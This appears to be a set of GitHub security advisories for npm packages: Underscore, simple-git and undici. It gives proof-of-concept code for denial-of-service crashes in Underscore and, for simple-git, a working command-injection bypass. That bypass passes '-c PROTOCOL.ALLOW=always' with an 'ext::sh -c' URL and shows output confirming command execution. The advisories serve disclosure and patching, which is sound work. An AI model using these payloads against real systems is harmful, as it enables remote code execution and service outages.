"details": "### Impact\n\nIn simple words, some programs that use `_.flatten` or `_.isEqual` could be made to crash. Someone who wants to do harm may be able to do this on purpose. This can only be done if the program has special properties. It only works in Underscore versions up to 1.13.7. A more detailed explanation follows.\n\nIn affected versions of Underscore, the `_.flatten` and `_.isEqual` functions use recursion without a depth limit. Under very specific conditions, detailed below, an attacker could exploit this in a Denial of Service (DoS) attack by triggering a stack overflow.\n\nA proof of concept (PoC) for this type of attack with `_.isEqual`:\n\n```js\nconst _ = require(\u0027underscore\u0027);\n\n// build JSON string for nested object ~4500 levels deep\n// (for this to be an attack, the JSON would have to come from\n// a request or other untrusted input)\nlet json = \u0027\u0027;\nfor (let i = 0; i \u003c 4500; i++) json += \u0027{\"n\":\u0027;\njson += \u0027\"x\"\u0027;\nfor (let i = 0; i \u003c 4500; i++) json += \u0027}\u0027;\n\n// construct two distinct objects with equal shape from the above JSON\nconst a = JSON.parse(json);\nconst b = JSON.parse(json);\n\n_.isEqual(a, b); // RangeError: Maximum call stack size exceeded\n```\n\nA proof of concept (PoC) for this type of attack with `_.flatten`:\n\n```js\nconst _ = require(\u0027underscore\u0027);\n\n// build nested array ~4500 levels deep\n// (like with _.isEqual, this nested array would have to be sourced\n// from an untrusted external source for it to be an attack)\nlet nested = [];\nfor (let i = 0; i \u003c 4500; i++) nested = [nested];\n\n_.flatten(nested); // RangeError: Maximum call stack size exceeded\n```\n\nAn application that crashes because of this can be restarted, so the bug is most relevant to applications for which continued operation is important, such as server applications. Furthermore, an application is only vulnerable to this type of attack if ALL of the following conditions are met:\n\n- Untrusted input must be used to create a recursive datastructure, for example using `JSON.parse`, with no enforced depth limit.\n- The datastructure thus created must be passed to `_.flatten` or `_.isEqual`.\n- In the case of `_.flatten`, the vulnerability can only be exploited if it is possible for a remote client to prepare a datastructure that consists of arrays at all levels AND if no finite depth limit is passed as the second argument to `_.flatten`.\n- In the case of `_.isEqual`, the vulnerability can only be exploited if there exists a code path in which two distinct datastructures that were submitted by the same remote client are compared using `_.isEqual`. For example, if a client submits data that are stored in a database, and the same client can later submit another datastructure that is then compared to the data that were saved in the database previously, OR if a client submits a single request, but its data are parsed twice, creating two non-identical but equivalent datastructures that are then compared.\n- Exceptions originating from the call to `_.flatten` or `_.isEqual`, as a result of a stack overflow, are not being caught.\n\nAll versions of Underscore up to and including 1.13.7 are affected by this weakness.\n\n### Patches\n\nThe problem has been patched in version 1.13.8. Upgrading to 1.13.8 or later completely prevents exploitation.\n\n**Note:** historically, there have been breaking changes in minor releases of Underscore, especially between versions 1.6 and 1.9. However, upgrading from version 1.9 or later to any later 1.x version should be feasible with little or no effort for all users.\n\n### Workarounds\n\nA workaround that works for both functions is to enforce a depth limit on the datastructure that is created from untrusted input. A limit of 1000 levels should prevent attacks from being successful on most systems. In systems with highly constrained hardware, we recommend lower limits, for example 100 levels.\n\nAnother possible workaround that only works for `_.flatten`, is to pass a second argument that limits the flattening depth to 1000 or less.\n\n### References\n\n- https://github.com/jashkenas/underscore/issues/3011\n- https://underscorejs.org/#1.13.8\n- https://underscorejs.org/#flatten\n- https://underscorejs.org/#isEqual",
"id": "GHSA-qpx9-hpmf-5gmw",
"modified": "2026-05-05T22:01:45Z",
"published": "2026-03-03T17:46:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jashkenas/underscore/security/advisories/GHSA-qpx9-hpmf-5gmw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27601"
},
{
"type": "WEB",
"url": "https://github.com/jashkenas/underscore/issues/3011"
},
{
"type": "WEB",
"url": "https://github.com/jashkenas/underscore/commit/411e222eb0ca5d570cc4f6315c02c05b830ed2b4"
},
{
"type": "WEB",
"url": "https://github.com/jashkenas/underscore/commit/a6e23ae9647461ec33ad9f92a2ecfc220eea0a84"
},
{
"type": "PACKAGE",
"url": "https://github.com/jashkenas/underscore"
},
{
"type": "WEB",
"url": "https://underscorejs.org/#1.13.8"
},
{
"type": "WEB",
"url": "https://underscorejs.org/#flatten"
},
{
"type": "WEB",
"url": "https://underscorejs.org/#isEqual"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Underscore has unlimited recursion in _.flatten and _.isEqual, potential for DoS attack"
}
GHSA-R275-FR43-PM7Q
Vulnerability from github – Published: 2026-03-10 18:38 – Updated: 2026-04-14 21:57
VLAI
Summary
simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE
Details
Summary
The blockUnsafeOperationsPlugin in simple-git fails to block git protocol
override arguments when the config key is passed in uppercase or mixed case.
An attacker who controls arguments passed to git operations can enable the
ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an
arbitrary OS command on the host machine.
Details
The preventProtocolOverride function in
simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts (line 24)
checks whether a -c argument configures protocol.allow using this regex:
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
return;
}
This regex is case-sensitive. Git treats config key names
case-insensitively — it normalises them to lowercase internally.
As a result, passing PROTOCOL.ALLOW=always, Protocol.Allow=always,
or any mixed-case variant is not matched by the regex, the check
returns without throwing, and git is spawned with the unsafe argument.
Verification that git normalises the key:
$ git -c PROTOCOL.ALLOW=always config --list | grep protocol
protocol.allow=always
The fix is a single character — add the /i flag:
// Before (vulnerable):
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
// After (fixed):
if (!/^\s*protocol(.[a-z]+)?.allow/i.test(next)) {
poc.js
/**
* Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass
*
* CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check
* that blocks `-c protocol.*.allow=always` from being passed to git commands.
* The regex is case-sensitive. Git treats config key names case-insensitively.
* Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
*
* Affected : simple-git >= 3.15.0 (all versions with the fix applied)
* Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5
* Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)
*/
const simpleGit = require('simple-git');
const fs = require('fs');
const SENTINEL = '/tmp/pwn-codeant';
// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}
const git = simpleGit();
// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────
// This is the exact PoC Snyk used to report CVE-2022-25912.
// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
'-c', 'protocol.ext.allow=always', // lowercase — caught by regex
]).catch((e) => {
console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
console.error(e);
});
// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────
// The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes the command.
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
'-c', 'PROTOCOL.ALLOW=always', // uppercase — NOT caught by regex
]).catch((e) => {
console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
console.error(e);
});
// ── Real-world scenario ──────────────────────────────────────────────────────
// An application cloning a legitimate repository with user-controlled customArgs.
// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.
// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates
// but the injected argument enables ext:: and the real URL executes the command instead.
//
// Legitimate usage (what the app expects):
// simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',
// '/tmp/codeant-quality-gates', userArgs)
//
// Attacker-controlled scenario (what actually runs when args are not sanitised):
const LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';
const CLONE_DEST = '/tmp/codeant-quality-gates';
const SENTINEL_RW = '/tmp/pwn-realworld';
try { fs.unlinkSync(SENTINEL_RW); } catch (_) {}
const userArgs = ['-c', 'PROTOCOL.ALLOW=always'];
const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';
simpleGit().clone(
attackerURL, // should have been LEGITIMATE_URL
CLONE_DEST,
userArgs
).catch(() => {
console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',
fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');
});
Test Results
Vector 1 — Original CVE-2022-25912 (protocol.ext.allow=always, lowercase)
Result: BLOCKED ✅
The original Snyk PoC payload using lowercase protocol.ext.allow=always is correctly intercepted by preventProtocolOverride before git is invoked. A GitPluginError is thrown immediately and the sentinel file is never created.
Output:
ext:: executed:poc not created
GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol
at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)
at .../simple-git/dist/cjs/index.js:1266:40
at Array.forEach (<anonymous>)
at Object.action (.../simple-git/dist/cjs/index.js:1264:12)
at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)
at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)
at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {
task: {
commands: [
'clone',
'-c',
'protocol.ext.allow=always',
'ext::sh -c touch% /tmp/pwn-original% >&2',
'/tmp/example-new-repo'
],
format: 'utf-8',
parser: [Function: parser]
},
plugin: 'unsafe'
}
Vector 2 — Uppercase bypass (PROTOCOL.ALLOW=always)
Result: BYPASSED ⚠️ — RCE confirmed
The preventProtocolOverride regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive. PROTOCOL.ALLOW=always (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the ext:: protocol. The injected shell command executes before git errors on the missing repository stream.
Output:
ext:: executed: PWNED — /tmp/pwn-codeant created
GitError: Cloning into '/tmp/example-new-repo-2'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
at Object.action (.../simple-git/dist/cjs/index.js:1440:25)
at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {
task: {
commands: [
'clone',
'-c',
'PROTOCOL.ALLOW=always',
'ext::sh -c touch% /tmp/pwn-codeant% >&2',
'/tmp/example-new-repo-2'
],
format: 'utf-8',
parser: [Function: parser]
}
}
/tmp/pwn-codeant was created by the git subprocess — command execution confirmed.
Vector 3 — Real-world scenario (target: https://github.com/CodeAnt-AI/codeant-quality-gates)
Result: BYPASSED ⚠️ — RCE confirmed
An application passes user-controlled customArgs to simpleGit().clone(). The attacker injects PROTOCOL.ALLOW=always and substitutes a malicious ext:: URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables ext:: and executes the payload before the application can detect the failure.
Output:
real-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created
/tmp/pwn-realworld was created — arbitrary command execution in a realistic application context confirmed.
Summary
| # | Vector | Payload | Sentinel file | Result |
|---|---|---|---|---|
| 1 | CVE-2022-25912 original | protocol.ext.allow=always (lowercase) |
not created | Blocked ✅ |
| 2 | Case-sensitivity bypass | PROTOCOL.ALLOW=always (uppercase) |
/tmp/pwn-codeant created |
RCE ⚠️ |
| 3 | Real-world app scenario | PROTOCOL.ALLOW=always + attacker URL |
/tmp/pwn-realworld created |
RCE ⚠️ |
The case-sensitive regex in preventProtocolOverride blocks protocol.*.allow but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.
/tmp/pwned is created by the git subprocess via the ext:: protocol.
All of the following bypass the check:
Argument passed via -c |
Regex matches? | Git honours it? |
|---|---|---|
protocol.allow=always |
✅ blocked | ✅ |
PROTOCOL.ALLOW=always |
❌ bypassed | ✅ |
Protocol.Allow=always |
❌ bypassed | ✅ |
PROTOCOL.allow=always |
❌ bypassed | ✅ |
protocol.ALLOW=always |
❌ bypassed | ✅ |
Impact
Any application that passes user-controlled values into the customArgs
parameter of clone(), fetch(), pull(), push() or similar simple-git
methods is vulnerable to arbitrary command execution on the host machine.
The ext:: git protocol executes an arbitrary binary as a remote helper.
With protocol.allow=always enabled, an attacker can run any OS command
as the process user — full read, write and execution access on the host.
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "simple-git"
},
"ranges": [
{
"events": [
{
"introduced": "3.15.0"
},
{
"fixed": "3.32.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28292"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T18:38:56Z",
"nvd_published_at": "2026-03-10T19:17:20Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol\noverride arguments when the config key is passed in uppercase or mixed case.\nAn attacker who controls arguments passed to git operations can enable the\n`ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an\narbitrary OS command on the host machine.\n\n---\n\n### Details\n\nThe `preventProtocolOverride` function in\n`simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24)\nchecks whether a `-c` argument configures `protocol.allow` using this regex:\n\n```ts\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n return;\n}\n```\n\nThis regex is case-sensitive. Git treats config key names\ncase-insensitively \u2014 it normalises them to lowercase internally.\nAs a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`,\nor any mixed-case variant is not matched by the regex, the check\nreturns without throwing, and git is spawned with the unsafe argument.\n\n**Verification that git normalises the key:**\n\n```bash\n$ git -c PROTOCOL.ALLOW=always config --list | grep protocol\nprotocol.allow=always\n```\n\n**The fix is a single character \u2014 add the `/i` flag:**\n\n```ts\n// Before (vulnerable):\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n\n// After (fixed):\nif (!/^\\s*protocol(.[a-z]+)?.allow/i.test(next)) {\n```\n\n---\n\n## poc.js\n\n```js\n/**\n * Proof of Concept \u2014 simple-git preventProtocolOverride Case-Sensitivity Bypass\n *\n * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check\n * that blocks `-c protocol.*.allow=always` from being passed to git commands.\n * The regex is case-sensitive. Git treats config key names case-insensitively.\n * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.\n *\n * Affected : simple-git \u003e= 3.15.0 (all versions with the fix applied)\n * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5\n * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)\n */\n\nconst simpleGit = require(\u0027simple-git\u0027);\nconst fs = require(\u0027fs\u0027);\n\nconst SENTINEL = \u0027/tmp/pwn-codeant\u0027;\n\n// Clean up from any previous run\ntry { fs.unlinkSync(SENTINEL); } catch (_) {}\n\nconst git = simpleGit();\n\n// \u2500\u2500 Original CVE-2022-25912 vector \u2014 BLOCKED by the 2022 fix \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// This is the exact PoC Snyk used to report CVE-2022-25912.\n// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.\ngit.clone(\u0027ext::sh -c touch% /tmp/pwn-original% \u003e\u00262\u0027, \u0027/tmp/example-new-repo\u0027, [\n \u0027-c\u0027, \u0027protocol.ext.allow=always\u0027, // lowercase \u2014 caught by regex\n]).catch((e) =\u003e {\n console.log(\u0027ext:: executed:poc\u0027, fs.existsSync(SENTINEL) ? \u0027PWNED \u2014 \u0027 + SENTINEL + \u0027 created\u0027 : \u0027not created\u0027);\n console.error(e);\n});\n\n// \u2500\u2500 Bypass \u2014 PROTOCOL.ALLOW=always (uppercase) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive.\n// Git normalises config key names to lowercase internally.\n// Uppercase variant passes the check; git enables ext:: and executes the command.\ngit.clone(\u0027ext::sh -c touch% \u0027 + SENTINEL + \u0027% \u003e\u00262\u0027, \u0027/tmp/example-new-repo-2\u0027, [\n \u0027-c\u0027, \u0027PROTOCOL.ALLOW=always\u0027, // uppercase \u2014 NOT caught by regex\n]).catch((e) =\u003e {\n console.log(\u0027ext:: executed:\u0027, fs.existsSync(SENTINEL) ? \u0027PWNED \u2014 \u0027 + SENTINEL + \u0027 created\u0027 : \u0027not created\u0027);\n console.error(e);\n});\n\n// \u2500\u2500 Real-world scenario \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// An application cloning a legitimate repository with user-controlled customArgs.\n// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.\n// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates\n// but the injected argument enables ext:: and the real URL executes the command instead.\n//\n// Legitimate usage (what the app expects):\n// simpleGit().clone(\u0027https://github.com/CodeAnt-AI/codeant-quality-gates\u0027,\n// \u0027/tmp/codeant-quality-gates\u0027, userArgs)\n//\n// Attacker-controlled scenario (what actually runs when args are not sanitised):\nconst LEGITIMATE_URL = \u0027https://github.com/CodeAnt-AI/codeant-quality-gates\u0027;\nconst CLONE_DEST = \u0027/tmp/codeant-quality-gates\u0027;\nconst SENTINEL_RW = \u0027/tmp/pwn-realworld\u0027;\ntry { fs.unlinkSync(SENTINEL_RW); } catch (_) {}\n\nconst userArgs = [\u0027-c\u0027, \u0027PROTOCOL.ALLOW=always\u0027];\nconst attackerURL = \u0027ext::sh -c touch% \u0027 + SENTINEL_RW + \u0027% \u003e\u00262\u0027;\n\nsimpleGit().clone(\n attackerURL, // should have been LEGITIMATE_URL\n CLONE_DEST,\n userArgs\n).catch(() =\u003e {\n console.log(\u0027real-world scenario [target: \u0027 + LEGITIMATE_URL + \u0027]:\u0027,\n fs.existsSync(SENTINEL_RW) ? \u0027PWNED \u2014 \u0027 + SENTINEL_RW + \u0027 created\u0027 : \u0027not created\u0027);\n});\n```\n\n---\n\n## Test Results\n\n### Vector 1 \u2014 Original CVE-2022-25912 (`protocol.ext.allow=always`, lowercase)\n\n**Result: BLOCKED \u2705**\n\nThe original Snyk PoC payload using lowercase `protocol.ext.allow=always` is correctly intercepted by `preventProtocolOverride` before git is invoked. A `GitPluginError` is thrown immediately and the sentinel file is never created.\n\n**Output:**\n```\next:: executed:poc not created\nGitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol\n at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)\n at .../simple-git/dist/cjs/index.js:1266:40\n at Array.forEach (\u003canonymous\u003e)\n at Object.action (.../simple-git/dist/cjs/index.js:1264:12)\n at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)\n at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)\n at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {\n task: {\n commands: [\n \u0027clone\u0027,\n \u0027-c\u0027,\n \u0027protocol.ext.allow=always\u0027,\n \u0027ext::sh -c touch% /tmp/pwn-original% \u003e\u00262\u0027,\n \u0027/tmp/example-new-repo\u0027\n ],\n format: \u0027utf-8\u0027,\n parser: [Function: parser]\n },\n plugin: \u0027unsafe\u0027\n}\n```\n\n---\n\n### Vector 2 \u2014 Uppercase bypass (`PROTOCOL.ALLOW=always`)\n\n**Result: BYPASSED \u26a0\ufe0f \u2014 RCE confirmed**\n\nThe `preventProtocolOverride` regex `/^\\s*protocol(.[a-z]+)?.allow/` is case-sensitive. `PROTOCOL.ALLOW=always` (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the `ext::` protocol. The injected shell command executes before git errors on the missing repository stream.\n\n**Output:**\n```\next:: executed: PWNED \u2014 /tmp/pwn-codeant created\nGitError: Cloning into \u0027/tmp/example-new-repo-2\u0027...\nfatal: Could not read from remote repository.\n\nPlease make sure you have the correct access rights\nand the repository exists.\n\n at Object.action (.../simple-git/dist/cjs/index.js:1440:25)\n at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {\n task: {\n commands: [\n \u0027clone\u0027,\n \u0027-c\u0027,\n \u0027PROTOCOL.ALLOW=always\u0027,\n \u0027ext::sh -c touch% /tmp/pwn-codeant% \u003e\u00262\u0027,\n \u0027/tmp/example-new-repo-2\u0027\n ],\n format: \u0027utf-8\u0027,\n parser: [Function: parser]\n }\n}\n```\n\n`/tmp/pwn-codeant` was created by the git subprocess \u2014 command execution confirmed.\n\n---\n\n### Vector 3 \u2014 Real-world scenario (target: `https://github.com/CodeAnt-AI/codeant-quality-gates`)\n\n**Result: BYPASSED \u26a0\ufe0f \u2014 RCE confirmed**\n\nAn application passes user-controlled `customArgs` to `simpleGit().clone()`. The attacker injects `PROTOCOL.ALLOW=always` and substitutes a malicious `ext::` URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables `ext::` and executes the payload before the application can detect the failure.\n\n**Output:**\n```\nreal-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED \u2014 /tmp/pwn-realworld created\n```\n\n`/tmp/pwn-realworld` was created \u2014 arbitrary command execution in a realistic application context confirmed.\n\n---\n\n## Summary\n\n| # | Vector | Payload | Sentinel file | Result |\n|---|--------|---------|---------------|--------|\n| 1 | CVE-2022-25912 original | `protocol.ext.allow=always` (lowercase) | not created | Blocked \u2705 |\n| 2 | Case-sensitivity bypass | `PROTOCOL.ALLOW=always` (uppercase) | `/tmp/pwn-codeant` created | **RCE \u26a0\ufe0f** |\n| 3 | Real-world app scenario | `PROTOCOL.ALLOW=always` + attacker URL | `/tmp/pwn-realworld` created | **RCE \u26a0\ufe0f** |\n\nThe case-sensitive regex in `preventProtocolOverride` blocks `protocol.*.allow` but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.\n\n`/tmp/pwned` is created by the git subprocess via the `ext::` protocol.\n\nAll of the following bypass the check:\n\n| Argument passed via `-c` | Regex matches? | Git honours it? |\n|--------------------------|:--------------:|:---------------:|\n| `protocol.allow=always` | \u2705 blocked | \u2705 |\n| `PROTOCOL.ALLOW=always` | \u274c bypassed | \u2705 |\n| `Protocol.Allow=always` | \u274c bypassed | \u2705 |\n| `PROTOCOL.allow=always` | \u274c bypassed | \u2705 |\n| `protocol.ALLOW=always` | \u274c bypassed | \u2705 |\n\n---\n\n### Impact\n\nAny application that passes user-controlled values into the `customArgs`\nparameter of `clone()`, `fetch()`, `pull()`, `push()` or similar `simple-git`\nmethods is vulnerable to arbitrary command execution on the host machine.\n\nThe `ext::` git protocol executes an arbitrary binary as a remote helper.\nWith `protocol.allow=always` enabled, an attacker can run any OS command\nas the process user \u2014 full read, write and execution access on the host.",
"id": "GHSA-r275-fr43-pm7q",
"modified": "2026-04-14T21:57:58Z",
"published": "2026-03-10T18:38:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/security/advisories/GHSA-r275-fr43-pm7q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28292"
},
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/commit/f7042088aa2dac59e3c49a84d7a2f4b26048a257"
},
{
"type": "PACKAGE",
"url": "https://github.com/steveukx/git-js"
},
{
"type": "WEB",
"url": "https://www.codeant.ai/security-research/security-research-simple-git-remote-code-execution-cve-2026-28292"
},
{
"type": "WEB",
"url": "https://www.codeant.ai/security-research/simple-git-remote-code-execution-cve-2026-28292"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE"
}
GHSA-V9P9-HFJ2-HCW8
Vulnerability from github – Published: 2026-03-13 20:41 – Updated: 2026-03-13 20:41
VLAI
Summary
Undici has Unhandled Exception in WebSocket Client Due to Invalid server_max_window_bits Validation
Details
Impact
The undici WebSocket client is vulnerable to a denial-of-service attack due to improper validation of the server_max_window_bits parameter in the permessage-deflate extension. When a WebSocket client connects to a server, it automatically advertises support for permessage-deflate compression. A malicious server can respond with an out-of-range server_max_window_bits value (outside zlib's valid range of 8-15). When the server subsequently sends a compressed frame, the client attempts to create a zlib InflateRaw instance with the invalid windowBits value, causing a synchronous RangeError exception that is not caught, resulting in immediate process termination.
The vulnerability exists because:
- The
isValidClientWindowBits()function only validates that the value contains ASCII digits, not that it falls within the valid range 8-15 - The
createInflateRaw()call is not wrapped in a try-catch block - The resulting exception propagates up through the call stack and crashes the Node.js process
Patches
Has the problem been patched? What versions should users upgrade to?
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-2229"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:41:41Z",
"nvd_published_at": "2026-03-12T21:16:25Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThe undici WebSocket client is vulnerable to a denial-of-service attack due to improper validation of the `server_max_window_bits` parameter in the permessage-deflate extension. When a WebSocket client connects to a server, it automatically advertises support for permessage-deflate compression. A malicious server can respond with an out-of-range `server_max_window_bits` value (outside zlib\u0027s valid range of 8-15). When the server subsequently sends a compressed frame, the client attempts to create a zlib InflateRaw instance with the invalid windowBits value, causing a synchronous RangeError exception that is not caught, resulting in immediate process termination.\n\nThe vulnerability exists because:\n\n1. The `isValidClientWindowBits()` function only validates that the value contains ASCII digits, not that it falls within the valid range 8-15\n2. The `createInflateRaw()` call is not wrapped in a try-catch block\n3. The resulting exception propagates up through the call stack and crashes the Node.js process\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_",
"id": "GHSA-v9p9-hfj2-hcw8",
"modified": "2026-03-13T20:41:41Z",
"published": "2026-03-13T20:41:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-v9p9-hfj2-hcw8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2229"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3487486"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc7692"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
},
{
"type": "WEB",
"url": "https://nodejs.org/api/zlib.html#class-zlibinflateraw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Undici has Unhandled Exception in WebSocket Client Due to Invalid server_max_window_bits Validation"
}
GHSA-VRM6-8VPV-QV8Q
Vulnerability from github – Published: 2026-03-13 20:41 – Updated: 2026-03-13 20:41
VLAI
Summary
Undici has Unbounded Memory Consumption in WebSocket permessage-deflate Decompression
Details
Description
The undici WebSocket client is vulnerable to a denial-of-service attack via unbounded memory consumption during permessage-deflate decompression. When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a "decompression bomb") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive.
The vulnerability exists in the PerMessageDeflate.decompress() method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold.
Impact
- Remote denial of service against any Node.js application using undici's WebSocket client
- A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more
- Memory exhaustion occurs in native/external memory, bypassing V8 heap limits
- No application-level mitigation is possible as decompression occurs before message delivery
Patches
Users should upgrade to fixed versions.
Workarounds
No workaround are possible.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.24.0"
}
],
